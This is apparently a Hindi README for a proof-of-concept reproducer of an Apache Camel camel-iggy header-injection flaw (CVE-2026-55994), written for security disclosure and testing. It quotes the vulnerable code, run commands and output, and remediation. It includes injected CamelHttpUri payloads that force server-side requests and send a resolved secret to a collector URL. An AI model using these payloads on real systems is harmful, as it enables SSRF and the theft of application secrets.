
CVE-2026-55994 (Apache Camel camel-iggy) के लिए PoC रिप्रोड्यूसर: उपभोक्ता एक Iggy संदेश के user-headers को बिना फ़िल्टर किए Exchange पर कॉपी करता है, जिससे एक इंजेक्ट किया गया CamelHttpUri सर्वर-साइड अनुरोध (SSRF) को चलाता है और रिज़ॉल्व किए गए property placeholders को लीक कर देता है। 4.18.3/4.21.0 में ठीक किया गया।
यह प्रोजेक्ट Apache Camel के camel-iggy घटक में message-header injection को प्रदर्शित करता है, जिसे CVE-2026-55994 के रूप में ट्रैक किया गया है। Iggy उपभोक्ता किसी आने वाले संदेश के user-headers को बिना किसी HeaderFilterStrategy के Camel Exchange पर कॉपी करता है, इसलिए कोई भी व्यक्ति जो उपभुक्त Iggy टॉपिक पर publish कर सकता है, Camel नियंत्रण हेडर इंजेक्ट कर सकता है — विशेष रूप से CamelHttpUri:
// IggyFetchRecords.createExchange (affected 4.18.2) — Iggy message user-headers -> Exchange headers, unfiltered
message.userHeaders().ifPresent(userHeaders -> {
Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
e -> e.getKey(),
e -> e.getValue().value()));
exchange.getIn().setHeaders(stringUserHeaders);
});
जब रूट इस उपभोक्ता को किसी HTTP प्रोड्यूसर से जोड़ता है, तो एक इंजेक्ट किया गया CamelHttpUri — server-side request forgery। camel-http प्रोड्यूसर उस attacker-नियंत्रित URI पर भी कॉल करता है, जिससे इंजेक्ट किया गया संदर्भ अपने वास्तविक मान तक विस्तारित होकर बाहर भेज दिया जाता है — जिससे environment variables, application properties, या vault secrets उजागर हो जाते हैं।
resolvePropertyPlaceholders(){{...}}यह PoC प्रभाव को SSRF प्लस गोपनीय जानकारी प्रकटीकरण (CWE-20 → CWE-918 + CWE-200) के रूप में प्रदर्शित करता है। यह CAMEL-23532 के अंतर्गत एक साथ ठीक किए गए तीन सहोदर घटकों में से एक है (camel-vertx-websocket, CVE-2026-46726, और camel-atmosphere-websocket, CVE-2026-55993 के साथ)।
| Property | Value |
|---|---|
| Component | camel-iggy |
| Affected Class | org.apache.camel.component.iggy.IggyFetchRecords#createExchange (मैप करता है message user-headers को बिना किसी फ़िल्टर के Exchange headers में) |
| CWE | CWE-20 (अनुचित इनपुट सत्यापन) → CWE-918 (SSRF) + CWE-200 (सूचना प्रकटीकरण) |
| Impact | इंजेक्ट किए गए URI पर property-placeholder resolution के माध्यम से SSRF और गोपनीय जानकारियों का प्रकटीकरण |
| Preconditions | एक रूट iggy: उपभोक्ता को HTTP प्रोड्यूसर से जोड़ता है; attacker उपभुक्त टॉपिक पर publish कर सकता है |
| Affected Versions | 4.17.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले (camel-iggy को 4.17.0 में पेश किया गया था) |
| Fixed Versions | 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Credit | Kamalpreet Singh |
यह समाधान inbound मैपिंग पर एक
HeaderFilterStrategyलागू करता है, जोCamel*/camel*हेडर को फ़िल्टर करता है ताकि वे अब Iggy संदेश के user-headers के माध्यम से इंजेक्ट नहीं किए जा सकें।
भेद्य IggyFetchRecords.createExchange(...) को अपरिवर्तित रूप से, एक जाली Iggy संदेश पर चलाया जाता है, जिसके user-headers attacker-नियंत्रित होते हैं। परिणामी Exchange वास्तविक रूट से होकर वास्तविक camel-http प्रोड्यूसर तक प्रवाहित होता है, इसलिए SSRF और {{...}} property-placeholder प्रकटीकरण वास्तविक होते हैं।
लाइव Iggy ब्रोकर का उपयोग क्यों नहीं किया जाता।
iggy:उपभोक्ता काdoStartचालू Iggy सर्वर से कनेक्शन खोलता है, इसलिए रूट इसके बिना शुरू नहीं हो सकता — और Apache Iggy सर्वर कोio_uringकी आवश्यकता होती है, जिसे Docker का डिफ़ॉल्ट seccomp प्रोफ़ाइल अवरुद्ध कर देता है (यह केवल--privilegedके साथ चलता है), जिससे यह एक पोर्टेबल, साझा करने योग्य PoC के लिए अनुपयुक्त हो जाता है। भेद्यcreateExchangeको स्वयं किसी ब्रोकर की आवश्यकता नहीं होती, इसलिए ड्राइवर वास्तविकIggyFetchRecordsका निर्माण करता है और उसे जाली संदेश के साथ सीधे आमंत्रित करता है। सहोदरcamel-vertx-websocketPoC (CVE-2026-46726) समान दोष को लाइव ट्रांसपोर्ट के माध्यम से प्रस्तुत करता है।
वास्तविक परिनियोजन में: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend")। यहाँ डाउनस्ट्रीम आधा हिस्सा from("direct:iggy-delivery").to("http://localhost:8080/legit-backend") है, जिसे वास्तविक createExchange द्वारा निर्मित ज़हरीला Exchange दिया जाता है।
CVE-2026-55994/
├── pom.xml # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # downstream link -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect
│ └── ExploitController.java # forges an Iggy message + runs the real createExchange (injects CamelHttpUri)
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Ordinary message (user-header x-order-id=A-1001)
reached /legit-backend: true
reached /internal/secret: false
2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
4.18.3 / 4.21.0 (CAMEL-23532) में अपग्रेड करें। अपग्रेड करने के बाद, उपभोक्ता Iggy संदेश के user-headers से Camel* हेडर को फ़िल्टर कर देता है, जिससे CamelHttpUri और अन्य नियंत्रण हेडर अब इंजेक्ट नहीं किए जा सकते।
अपग्रेड करने तक, पहले Camel नियंत्रण हेडर को हटाए बिना किसी iggy: उपभोक्ता को सीधे HTTP प्रोड्यूसर से न जोड़ें (उदाहरण के लिए removeHeaders("CamelHttp*")), और प्रोड्यूसर के लक्ष्य को किसी विश्वसनीय स्रोत से सेट करें (या bridgeEndpoint=true का उपयोग करें)।
यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और हल की गई भेद्यता के लिए। स्पष्ट अनुमति के बिना इसका उपयोग सिस्टम के विरुद्ध न करें।